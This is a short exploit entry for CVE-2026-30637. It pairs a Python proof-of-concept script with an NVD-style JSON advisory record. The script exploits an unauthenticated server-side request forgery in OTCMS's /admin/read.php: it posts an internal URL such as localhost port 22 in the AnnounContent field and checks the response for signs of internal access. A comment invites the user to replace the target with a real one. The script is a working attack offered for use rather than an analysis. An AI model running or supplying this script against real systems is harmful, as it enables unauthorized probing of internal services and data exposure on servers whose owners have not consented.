CVE-2026-30637

import requests def exploit_ssrf(target_url, internal_url): """ Exploit SSRF in OTCMS /admin/read.php :param target_url: The base URL of the target OTCMS instance :param internal_url: The internal URL to access (e.g., http://127.0.0.1:80) """ vuln_endpoint = f"{target_url}/admin/read.php" # Payload data targeting the vulnerable parameter payload = { "AnnounContent": internal_url } try: print(f"[*] Sending request to {vuln_endpoint} with payload: {internal_url}") response = requests.post(vuln_endpoint, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response length: {len(response.text)}") # Check if response contains indications of the internal resource if "root" in response.text or "Internal Server Error" in response.text: print("[!] Potential SSRF interaction detected.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target internal_target = "http://127.0.0.1:22" # Example: checking if SSH is open exploit_ssrf(target, internal_target)

{"cve": {"id": "CVE-2026-30637", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:53.490", "lastModified": "2026-03-31T21:07:36.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability exists in the AnnounContent of the /admin/read.php in OTCMS V7.66 and before. The vulnerability allows remote attackers to craft HTTP requests, without authentication, containing a URL pointing to internal services or any remote server"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:otcms:otcms:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.66", "matchCriteriaId": "AD934F60-8348-478E-892B-220870385741"}]}]}], "references": [{"url": "https://github.com/cryingtor/Code-Audit/blob/master/ssrf.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}